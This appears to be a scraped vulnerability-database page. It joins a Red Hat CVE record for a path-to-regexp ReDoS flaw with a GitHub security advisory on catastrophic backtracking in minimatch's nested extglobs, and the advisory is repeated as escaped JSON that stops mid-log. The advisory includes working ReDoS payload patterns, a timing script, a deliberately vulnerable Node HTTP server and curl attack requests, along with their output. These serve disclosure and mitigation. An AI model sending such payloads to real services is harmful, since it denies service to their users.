cpe:/o:redhat:enterprise_linux:8 |
|
| Red Hat | Red Hat JBoss Enterprise Application Platform 7 |
cpe:/a:redhat:jboss_enterprise_application_platform:7 |
|
| Red Hat | Red Hat JBoss Enterprise Application Platform 8 |
cpe:/a:redhat:jboss_enterprise_application_platform:8 |
|
| Red Hat | Red Hat JBoss Enterprise Application Platform Expansion Pack |
cpe:/a:redhat:jbosseapxp |
|
| Red Hat | Red Hat OpenShift Virtualization 4 |
cpe:/a:redhat:container_native_virtualization:4 |
|
| Red Hat | Red Hat Process Automation 7 |
cpe:/a:redhat:jboss_enterprise_bpms_platform:7 |
|
| Red Hat | Red Hat Quay 3 |
cpe:/a:redhat:quay:3 |
|
| Red Hat | Red Hat Satellite 6 |
cpe:/a:redhat:satellite:6 |
|
| Red Hat | Red Hat Trusted Profile Analyzer |
cpe:/a:redhat:trusted_profile_analyzer:2 |
Credits
uug4na
blakeembrey
UlisesGascon
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-4926",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-03-27T19:44:44.790485Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-03-27T19:44:53.294Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
},
{
"affected": [
{
"cpes": [
"cpe:/a:redhat:ansible_automation_platform:2.5::el8",
"cpe:/a:redhat:ansible_automation_platform_developer:2.5::el8",
"cpe:/a:redhat:ansible_automation_platform_inside:2.5::el8"
],
"defaultStatus": "affected",
"product": "Red Hat Ansible Automation Platform 2.5 for RHEL 8",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:ansible_automation_platform:2.5::el9",
"cpe:/a:redhat:ansible_automation_platform_developer:2.5::el9",
"cpe:/a:redhat:ansible_automation_platform_inside:2.5::el9"
],
"defaultStatus": "affected",
"product": "Red Hat Ansible Automation Platform 2.5 for RHEL 9",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:ansible_automation_platform:2.6::el9",
"cpe:/a:redhat:ansible_automation_platform_developer:2.6::el9",
"cpe:/a:redhat:ansible_automation_platform_inside:2.6::el9"
],
"defaultStatus": "affected",
"product": "Red Hat Ansible Automation Platform 2.6 for RHEL 9",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:cryostat:4::el9"
],
"defaultStatus": "affected",
"product": "Cryostat 4 on RHEL 9",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:migration_toolkit_virtualization:2.10::el9"
],
"defaultStatus": "affected",
"product": "Migration Toolkit for Virtualization 2.1",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:migration_toolkit_virtualization:2.9::el9"
],
"defaultStatus": "affected",
"product": "Migration Toolkit for Virtualization 2.9",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:ansible_automation_platform:2.6::el9"
],
"defaultStatus": "affected",
"product": "Red Hat Ansible Automation Platform 2.6",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:rhdh:1.8::el9"
],
"defaultStatus": "affected",
"product": "Red Hat Developer Hub 1.8",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:rhdh:1.9::el9"
],
"defaultStatus": "affected",
"product": "Red Hat Developer Hub 1.9",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift_devspaces:3.27::el9"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift Dev Spaces 3.27",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift_distributed_tracing:3.9::el9"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift distributed tracing 3.9.3",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:trusted_artifact_signer:1.3::el9"
],
"defaultStatus": "affected",
"product": "Red Hat Trusted Artifact Signer 1.3",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:logging:5"
],
"defaultStatus": "affected",
"product": "Logging Subsystem for Red Hat OpenShift",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:migration_toolkit_applications:8"
],
"defaultStatus": "affected",
"product": "Migration Toolkit for Applications 8",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:multicluster_engine"
],
"defaultStatus": "affected",
"product": "Multicluster Engine for Kubernetes",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift_pipelines:1"
],
"defaultStatus": "affected",
"product": "OpenShift Pipelines",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:acm:2"
],
"defaultStatus": "affected",
"product": "Red Hat Advanced Cluster Management for Kubernetes 2",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:amq_broker:7"
],
"defaultStatus": "affected",
"product": "Red Hat AMQ Broker 7",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:ansible_automation_platform:2"
],
"defaultStatus": "affected",
"product": "Red Hat Ansible Automation Platform 2",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:podman_desktop:1"
],
"defaultStatus": "affected",
"product": "Red Hat Build of Podman Desktop",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:jboss_data_grid:8"
],
"defaultStatus": "affected",
"product": "Red Hat Data Grid 8",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:rhdh:1"
],
"defaultStatus": "affected",
"product": "Red Hat Developer Hub",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:edge_manager:1"
],
"defaultStatus": "affected",
"product": "Red Hat Edge Manager 1",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/o:redhat:enterprise_linux:9"
],
"defaultStatus": "affected",
"product": "Red Hat Enterprise Linux 9",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:jboss_fuse:7"
],
"defaultStatus": "affected",
"product": "Red Hat Fuse 7",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift_ai"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift AI (RHOAI)",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift:4"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift Container Platform 4",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift_data_foundation:4"
],
"defaultStatus": "affected",
"product": "Red Hat Openshift Data Foundation 4",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift_gitops:1"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift GitOps",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:red_hat_single_sign_on:7"
],
"defaultStatus": "affected",
"product": "Red Hat Single Sign-On 7",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:ansible_portal:2"
],
"defaultStatus": "affected",
"product": "Self-service automation portal 2",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:ansible_automation_platform:2.6::el10",
"cpe:/a:redhat:ansible_automation_platform_developer:2.6::el10"
],
"defaultStatus": "unaffected",
"product": "Red Hat Ansible Automation Platform 2.6 for RHEL 10",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:cryostat:4"
],
"defaultStatus": "unaffected",
"product": "Cryostat 4",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:network_observ_optr:1"
],
"defaultStatus": "unaffected",
"product": "Network Observability Operator",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift_lightspeed"
],
"defaultStatus": "unaffected",
"product": "OpenShift Lightspeed",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:service_mesh:2"
],
"defaultStatus": "unaffected",
"product": "OpenShift Service Mesh 2",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:service_mesh:3"
],
"defaultStatus": "unaffected",
"product": "OpenShift Service Mesh 3",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:advanced_cluster_security:4"
],
"defaultStatus": "unaffected",
"product": "Red Hat Advanced Cluster Security 4",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:apache_camel_hawtio:4"
],
"defaultStatus": "unaffected",
"product": "Red Hat build of Apache Camel - HawtIO 4",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:service_registry:2"
],
"defaultStatus": "unaffected",
"product": "Red Hat build of Apicurio Registry 2",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/o:redhat:enterprise_linux:10"
],
"defaultStatus": "unaffected",
"product": "Red Hat Enterprise Linux 10",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/o:redhat:enterprise_linux:8"
],
"defaultStatus": "unaffected",
"product": "Red Hat Enterprise Linux 8",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:jboss_enterprise_application_platform:7"
],
"defaultStatus": "unaffected",
"product": "Red Hat JBoss Enterprise Application Platform 7",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:jboss_enterprise_application_platform:8"
],
"defaultStatus": "unaffected",
"product": "Red Hat JBoss Enterprise Application Platform 8",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:jbosseapxp"
],
"defaultStatus": "unaffected",
"product": "Red Hat JBoss Enterprise Application Platform Expansion Pack",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:container_native_virtualization:4"
],
"defaultStatus": "unaffected",
"product": "Red Hat OpenShift Virtualization 4",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:jboss_enterprise_bpms_platform:7"
],
"defaultStatus": "unaffected",
"product": "Red Hat Process Automation 7",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:quay:3"
],
"defaultStatus": "unaffected",
"product": "Red Hat Quay 3",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:satellite:6"
],
"defaultStatus": "unaffected",
"product": "Red Hat Satellite 6",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:trusted_profile_analyzer:2"
],
"defaultStatus": "unaffected",
"product": "Red Hat Trusted Profile Analyzer",
"vendor": "Red Hat"
}
],
"datePublic": "2026-03-26T18:59:38.000Z",
"descriptions": [
{
"lang": "en",
"value": "A flaw was found in path-to-regexp. A remote attacker could exploit this vulnerability by providing specially crafted input that generates a regular expression with multiple sequential optional groups. This leads to an exponential growth in the generated regular expression, causing a Denial of Service (DoS) due to excessive resource consumption."
}
],
"metrics": [
{
"other": {
"content": {
"namespace": "https://access.redhat.com/security/updates/classification/",
"value": "Important"
},
"type": "Red Hat severity rating"
}
},
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"format": "CVSS"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-1333",
"description": "Inefficient Regular Expression Complexity",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-06-30T12:10:34.415Z",
"orgId": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
"shortName": "redhat-SADP"
},
"references": [
{
"tags": [
"vdb-entry",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/security/cve/CVE-2026-4926"
},
{
"name": "RHBZ#2451867",
"tags": [
"issue-tracking",
"x_refsource_REDHAT"
],
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2451867"
},
{
"tags": [
"x_sadp-csaf-vex"
],
"url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-4926.json"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:24761"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:24762"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:17789"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:19409"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:19410"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:24866"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:13545"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:9742"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:13826"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:10175"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:9385"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:10172"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:10153"
}
],
"solutions": [
{
"lang": "en",
"value": "RHSA-2026:24761: Red Hat Ansible Automation Platform 2.5 for RHEL 8, Red Hat Ansible Automation Platform 2.5 for RHEL 9"
},
{
"lang": "en",
"value": "RHSA-2026:24762: Red Hat Ansible Automation Platform 2.6 for RHEL 9"
},
{
"lang": "en",
"value": "RHSA-2026:17789: Cryostat 4 on RHEL 9"
},
{
"lang": "en",
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GHSA-23C5-XMQV-RM74
Vulnerability from github – Published: 2026-02-26 22:07 – Updated: 2026-02-26 22:07
VLAI
Summary
minimatch ReDoS: nested *() extglobs generate catastrophically backtracking regular expressions
Details
Summary
Nested *() extglobs produce regexps with nested unbounded quantifiers (e.g. (?:(?:a|b)*)*), which exhibit catastrophic backtracking in V8. With a 12-byte pattern *(*(*(a|b))) and an 18-byte non-matching input, minimatch() stalls for over 7 seconds. Adding a single nesting level or a few input characters pushes this to minutes. This is the most severe finding: it is triggered by the default minimatch() API with no special options, and the minimum viable pattern is only 12 bytes. The same issue affects +() extglobs equally.
Details
The root cause is in AST.toRegExpSource() at src/ast.ts#L598. For the * extglob type, the close token emitted is )* or )?, wrapping the recursive body in (?:...)*. When extglobs are nested, each level adds another * quantifier around the previous group:
: this.type === '*' && bodyDotAllowed ? `)?`
: `)${this.type}`
This produces the following regexps:
| Pattern | Generated regex |
|---|---|
*(a\|b) |
/^(?:a\|b)*$/ |
*(*(a\|b)) |
/^(?:(?:a\|b)*)*$/ |
*(*(*(a\|b))) |
/^(?:(?:(?:a\|b)*)*)*$/ |
*(*(*(*(a\|b)))) |
/^(?:(?:(?:(?:a\|b)*)*)*)*$/ |
These are textbook nested-quantifier patterns. Against an input of repeated a characters followed by a non-matching character z, V8's backtracking engine explores an exponential number of paths before returning false.
The generated regex is stored on this.set and evaluated inside matchOne() at src/index.ts#L1010 via p.test(f). It is reached through the standard minimatch() call with no configuration.
Measured times via minimatch():
| Pattern | Input | Time |
|---|---|---|
*(*(a\|b)) |
a x30 + z |
~68,000ms |
*(*(*(a\|b))) |
a x20 + z |
~124,000ms |
*(*(*(*(a\|b)))) |
a x25 + z |
~116,000ms |
*(a\|a) |
a x25 + z |
~2,000ms |
Depth inflection at fixed input a x16 + z:
| Depth | Pattern | Time |
|---|---|---|
| 1 | *(a\|b) |
0ms |
| 2 | *(*(a\|b)) |
4ms |
| 3 | *(*(*(a\|b))) |
270ms |
| 4 | *(*(*(*(a\|b)))) |
115,000ms |
Going from depth 2 to depth 3 with a 20-character input jumps from 66ms to 123,544ms -- a 1,867x increase from a single added nesting level.
PoC
Tested on minimatch@10.2.2, Node.js 20.
Step 1 -- verify the generated regexps and timing (standalone script)
Save as poc4-validate.mjs and run with node poc4-validate.mjs:
import { minimatch, Minimatch } from 'minimatch'
function timed(fn) {
const s = process.hrtime.bigint()
let result, error
try { result = fn() } catch(e) { error = e }
const ms = Number(process.hrtime.bigint() - s) / 1e6
return { ms, result, error }
}
// Verify generated regexps
for (let depth = 1; depth <= 4; depth++) {
let pat = 'a|b'
for (let i = 0; i < depth; i++) pat = `*(${pat})`
const re = new Minimatch(pat, {}).set?.[0]?.[0]?.toString()
console.log(`depth=${depth} "${pat}" -> ${re}`)
}
// depth=1 "*(a|b)" -> /^(?:a|b)*$/
// depth=2 "*(*(a|b))" -> /^(?:(?:a|b)*)*$/
// depth=3 "*(*(*(a|b)))" -> /^(?:(?:(?:a|b)*)*)*$/
// depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/
// Safe-length timing (exponential growth confirmation without multi-minute hang)
const cases = [
['*(*(*(a|b)))', 15], // ~270ms
['*(*(*(a|b)))', 17], // ~800ms
['*(*(*(a|b)))', 19], // ~2400ms
['*(*(a|b))', 23], // ~260ms
['*(a|b)', 101], // <5ms (depth=1 control)
]
for (const [pat, n] of cases) {
const t = timed(() => minimatch('a'.repeat(n) + 'z', pat))
console.log(`"${pat}" n=${n}: ${t.ms.toFixed(0)}ms result=${t.result}`)
}
// Confirm noext disables the vulnerability
const t_noext = timed(() => minimatch('a'.repeat(18) + 'z', '*(*(*(a|b)))', { noext: true }))
console.log(`noext=true: ${t_noext.ms.toFixed(0)}ms (should be ~0ms)`)
// +() is equally affected
const t_plus = timed(() => minimatch('a'.repeat(17) + 'z', '+(+(+(a|b)))'))
console.log(`"+(+(+(a|b)))" n=18: ${t_plus.ms.toFixed(0)}ms result=${t_plus.result}`)
Observed output:
depth=1 "*(a|b)" -> /^(?:a|b)*$/
depth=2 "*(*(a|b))" -> /^(?:(?:a|b)*)*$/
depth=3 "*(*(*(a|b)))" -> /^(?:(?:(?:a|b)*)*)*$/
depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/
"*(*(*(a|b)))" n=15: 269ms result=false
"*(*(*(a|b)))" n=17: 268ms result=false
"*(*(*(a|b)))" n=19: 2408ms result=false
"*(*(a|b))" n=23: 257ms result=false
"*(a|b)" n=101: 0ms result=false
noext=true: 0ms (should be ~0ms)
"+(+(+(a|b)))" n=18: 6300ms result=false
Step 2 -- HTTP server (event loop starvation proof)
Save as poc4-server.mjs:
import http from 'node:http'
import { URL } from 'node:url'
import { minimatch } from 'minimatch'
const PORT = 3001
http.createServer((req, res) => {
const url = new URL(req.url, `http://localhost:${PORT}`)
const pattern = url.searchParams.get('pattern') ?? ''
const path = url.searchParams.get('path') ?? ''
const start = process.hrtime.bigint()
const result = minimatch(path, pattern)
const ms = Number(process.hrtime.bigint() - start) / 1e6
console.log(`[${new Date().toISOString()}] ${ms.toFixed(0)}ms pattern="${pattern}" path="${path.slice(0,30)}"`)
res.writeHead(200, { 'Content-Type': 'application/json' })
res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\n')
}).listen(PORT, () => console.log(`listening on ${PORT}`))
Terminal 1 -- start the server:
node poc4-server.mjs
Terminal 2 -- fire the attack (depth=3, 19 a's + z) and return immediately:
curl "http://localhost:3001/match?pattern=*%28*%28*%28a%7Cb%29%29%29&path=aaaaaaaaaaaaaaaaaaaz" &
Terminal 3 -- send a benign request while the attack is in-flight:
curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3001/match?pattern=*%28a%7Cb%29&path=aaaz"
Observed output -- Terminal 2 (attack):
{"result":false,"ms":"64149"}
Observed output -- Terminal 3 (benign, concurrent):
{"result":false,"ms":"0"}
time_total: 63.022047s
Terminal 1 (server log):
[2026-02-20T09:41:17.624Z] pattern="*(*(*(a|b)))" path="aaaaaaaaaaaaaaaaaaaz"
[2026-02-20T09:42:21.775Z] done in 64149ms result=false
[2026-02-20T09:42:21.779Z] pattern="*(a|b)" path="aaaz"
[2026-02-20T09:42:21.779Z] done in 0ms result=false
The server reports "ms":"0" for the benign request -- the legitimate request itself requires no CPU time. The entire 63-second time_total is time spent waiting for the event loop to be released. The benign request was only dispatched after the attack completed, confirmed by the server log timestamps.
Note: standalone script timing (~7s at n=19) is lower than server timing (64s) because the standalone script had warmed up V8's JIT through earlier sequential calls. A cold server hits the worst case. Both measurements confirm catastrophic backtracking -- the server result is the more realistic figure for production impact.
Impact
Any context where an attacker can influence the glob pattern passed to minimatch() is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments, multi-tenant platforms where users configure glob-based rules (file filters, ignore lists, include patterns), and CI/CD pipelines that evaluate user-submitted config files containing glob expressions. No evidence was found of production HTTP servers passing raw user input directly as the extglob pattern, so that framing is not claimed here.
Depth 3 (*(*(*(a|b))), 12 bytes) stalls the Node.js event loop for 7+ seconds with an 18-character input. Depth 2 (*(*(a|b)), 9 bytes) reaches 68 seconds with a 31-character input. Both the pattern and the input fit in a query string or JSON body without triggering the 64 KB length guard.
+() extglobs share the same code path and produce equivalent worst-case behavior (6.3 seconds at depth=3 with an 18-character input, confirmed).
Mitigation available: passing { noext: true } to minimatch() disables extglob processing entirely and reduces the same input to 0ms. Applications that do not need extglob syntax should set this option when handling untrusted patterns.
Severity
7.5 (High)
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"aliases": [
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],
"database_specific": {
"cwe_ids": [
"CWE-1333"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-26T22:07:15Z",
"nvd_published_at": "2026-02-26T02:16:21Z",
"severity": "HIGH"
},
"details": "### Summary\n\nNested `*()` extglobs produce regexps with nested unbounded quantifiers (e.g. `(?:(?:a|b)*)*`), which exhibit catastrophic backtracking in V8. With a 12-byte pattern `*(*(*(a|b)))` and an 18-byte non-matching input, `minimatch()` stalls for over 7 seconds. Adding a single nesting level or a few input characters pushes this to minutes. This is the most severe finding: it is triggered by the default `minimatch()` API with no special options, and the minimum viable pattern is only 12 bytes. The same issue affects `+()` extglobs equally.\n\n---\n\n### Details\n\nThe root cause is in `AST.toRegExpSource()` at [`src/ast.ts#L598`](https://github.com/isaacs/minimatch/blob/v10.2.2/src/ast.ts#L598). For the `*` extglob type, the close token emitted is `)*` or `)?`, wrapping the recursive body in `(?:...)*`. When extglobs are nested, each level adds another `*` quantifier around the previous group:\n\n```typescript\n: this.type === \u0027*\u0027 \u0026\u0026 bodyDotAllowed ? `)?`\n: `)${this.type}`\n```\n\nThis produces the following regexps:\n\n| Pattern | Generated regex |\n|----------------------|------------------------------------------|\n| `*(a\\|b)` | `/^(?:a\\|b)*$/` |\n| `*(*(a\\|b))` | `/^(?:(?:a\\|b)*)*$/` |\n| `*(*(*(a\\|b)))` | `/^(?:(?:(?:a\\|b)*)*)*$/` |\n| `*(*(*(*(a\\|b))))` | `/^(?:(?:(?:(?:a\\|b)*)*)*)*$/` |\n\nThese are textbook nested-quantifier patterns. Against an input of repeated `a` characters followed by a non-matching character `z`, V8\u0027s backtracking engine explores an exponential number of paths before returning `false`.\n\nThe generated regex is stored on `this.set` and evaluated inside `matchOne()` at [`src/index.ts#L1010`](https://github.com/isaacs/minimatch/blob/v10.2.2/src/index.ts#L1010) via `p.test(f)`. It is reached through the standard `minimatch()` call with no configuration.\n\nMeasured times via `minimatch()`:\n\n| Pattern | Input | Time |\n|----------------------|--------------------|------------|\n| `*(*(a\\|b))` | `a` x30 + `z` | ~68,000ms |\n| `*(*(*(a\\|b)))` | `a` x20 + `z` | ~124,000ms |\n| `*(*(*(*(a\\|b))))` | `a` x25 + `z` | ~116,000ms |\n| `*(a\\|a)` | `a` x25 + `z` | ~2,000ms |\n\nDepth inflection at fixed input `a` x16 + `z`:\n\n| Depth | Pattern | Time |\n|-------|----------------------|--------------|\n| 1 | `*(a\\|b)` | 0ms |\n| 2 | `*(*(a\\|b))` | 4ms |\n| 3 | `*(*(*(a\\|b)))` | 270ms |\n| 4 | `*(*(*(*(a\\|b))))` | 115,000ms |\n\nGoing from depth 2 to depth 3 with a 20-character input jumps from 66ms to 123,544ms -- a 1,867x increase from a single added nesting level.\n\n---\n\n### PoC\n\nTested on minimatch@10.2.2, Node.js 20.\n\n**Step 1 -- verify the generated regexps and timing (standalone script)**\n\nSave as `poc4-validate.mjs` and run with `node poc4-validate.mjs`:\n\n```javascript\nimport { minimatch, Minimatch } from \u0027minimatch\u0027\n\nfunction timed(fn) {\n const s = process.hrtime.bigint()\n let result, error\n try { result = fn() } catch(e) { error = e }\n const ms = Number(process.hrtime.bigint() - s) / 1e6\n return { ms, result, error }\n}\n\n// Verify generated regexps\nfor (let depth = 1; depth \u003c= 4; depth++) {\n let pat = \u0027a|b\u0027\n for (let i = 0; i \u003c depth; i++) pat = `*(${pat})`\n const re = new Minimatch(pat, {}).set?.[0]?.[0]?.toString()\n console.log(`depth=${depth} \"${pat}\" -\u003e ${re}`)\n}\n// depth=1 \"*(a|b)\" -\u003e /^(?:a|b)*$/\n// depth=2 \"*(*(a|b))\" -\u003e /^(?:(?:a|b)*)*$/\n// depth=3 \"*(*(*(a|b)))\" -\u003e /^(?:(?:(?:a|b)*)*)*$/\n// depth=4 \"*(*(*(*(a|b))))\" -\u003e /^(?:(?:(?:(?:a|b)*)*)*)*$/\n\n// Safe-length timing (exponential growth confirmation without multi-minute hang)\nconst cases = [\n [\u0027*(*(*(a|b)))\u0027, 15], // ~270ms\n [\u0027*(*(*(a|b)))\u0027, 17], // ~800ms\n [\u0027*(*(*(a|b)))\u0027, 19], // ~2400ms\n [\u0027*(*(a|b))\u0027, 23], // ~260ms\n [\u0027*(a|b)\u0027, 101], // \u003c5ms (depth=1 control)\n]\nfor (const [pat, n] of cases) {\n const t = timed(() =\u003e minimatch(\u0027a\u0027.repeat(n) + \u0027z\u0027, pat))\n console.log(`\"${pat}\" n=${n}: ${t.ms.toFixed(0)}ms result=${t.result}`)\n}\n\n// Confirm noext disables the vulnerability\nconst t_noext = timed(() =\u003e minimatch(\u0027a\u0027.repeat(18) + \u0027z\u0027, \u0027*(*(*(a|b)))\u0027, { noext: true }))\nconsole.log(`noext=true: ${t_noext.ms.toFixed(0)}ms (should be ~0ms)`)\n\n// +() is equally affected\nconst t_plus = timed(() =\u003e minimatch(\u0027a\u0027.repeat(17) + \u0027z\u0027, \u0027+(+(+(a|b)))\u0027))\nconsole.log(`\"+(+(+(a|b)))\" n=18: ${t_plus.ms.toFixed(0)}ms result=${t_plus.result}`)\n```\n\nObserved output:\n```\ndepth=1 \"*(a|b)\" -\u003e /^(?:a|b)*$/\ndepth=2 \"*(*(a|b))\" -\u003e /^(?:(?:a|b)*)*$/\ndepth=3 \"*(*(*(a|b)))\" -\u003e /^(?:(?:(?:a|b)*)*)*$/\ndepth=4 \"*(*(*(*(a|b))))\" -\u003e /^(?:(?:(?:(?:a|b)*)*)*)*$/\n\"*(*(*(a|b)))\" n=15: 269ms result=false\n\"*(*(*(a|b)))\" n=17: 268ms result=false\n\"*(*(*(a|b)))\" n=19: 2408ms result=false\n\"*(*(a|b))\" n=23: 257ms result=false\n\"*(a|b)\" n=101: 0ms result=false\nnoext=true: 0ms (should be ~0ms)\n\"+(+(+(a|b)))\" n=18: 6300ms result=false\n```\n\n**Step 2 -- HTTP server (event loop starvation proof)**\n\nSave as `poc4-server.mjs`:\n\n```javascript\nimport http from \u0027node:http\u0027\nimport { URL } from \u0027node:url\u0027\nimport { minimatch } from \u0027minimatch\u0027\n\nconst PORT = 3001\nhttp.createServer((req, res) =\u003e {\n const url = new URL(req.url, `http://localhost:${PORT}`)\n const pattern = url.searchParams.get(\u0027pattern\u0027) ?? \u0027\u0027\n const path = url.searchParams.get(\u0027path\u0027) ?? \u0027\u0027\n\n const start = process.hrtime.bigint()\n const result = minimatch(path, pattern)\n const ms = Number(process.hrtime.bigint() - start) / 1e6\n\n console.log(`[${new Date().toISOString()}] ${ms.toFixed(0)}ms pattern=\"${pattern}\" path=\"${path.slice(0,30)}\"`)\n res.writeHead(200, { \u0027Content-Type\u0027: \u0027application/json\u0027 })\n res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + \u0027\\n\u0027)\n}).listen(PORT, () =\u003e console.log(`listening on ${PORT}`))\n```\n\nTerminal 1 -- start the server:\n```\nnode poc4-server.mjs\n```\n\nTerminal 2 -- fire the attack (depth=3, 19 a\u0027s + z) and return immediately:\n```\ncurl \"http://localhost:3001/match?pattern=*%28*%28*%28a%7Cb%29%29%29\u0026path=aaaaaaaaaaaaaaaaaaaz\" \u0026\n```\n\nTerminal 3 -- send a benign request while the attack is in-flight:\n```\ncurl -w \"\\ntime_total: %{time_total}s\\n\" \"http://localhost:3001/match?pattern=*%28a%7Cb%29\u0026path=aaaz\"\n```\n\n**Observed output -- Terminal 2 (attack):**\n```\n{\"result\":false,\"ms\":\"64149\"}\n```\n\n**Observed output -- Terminal 3 (benign, concurrent):**\n```\n{\"result\":false,\"ms\":\"0\"}\n\ntime_total: 63.022047s\n```\n\n**Terminal 1 (server log):**\n```\n[2026-02-20T09:41:17.624Z] pattern=\"*(*(*(a|b)))\" 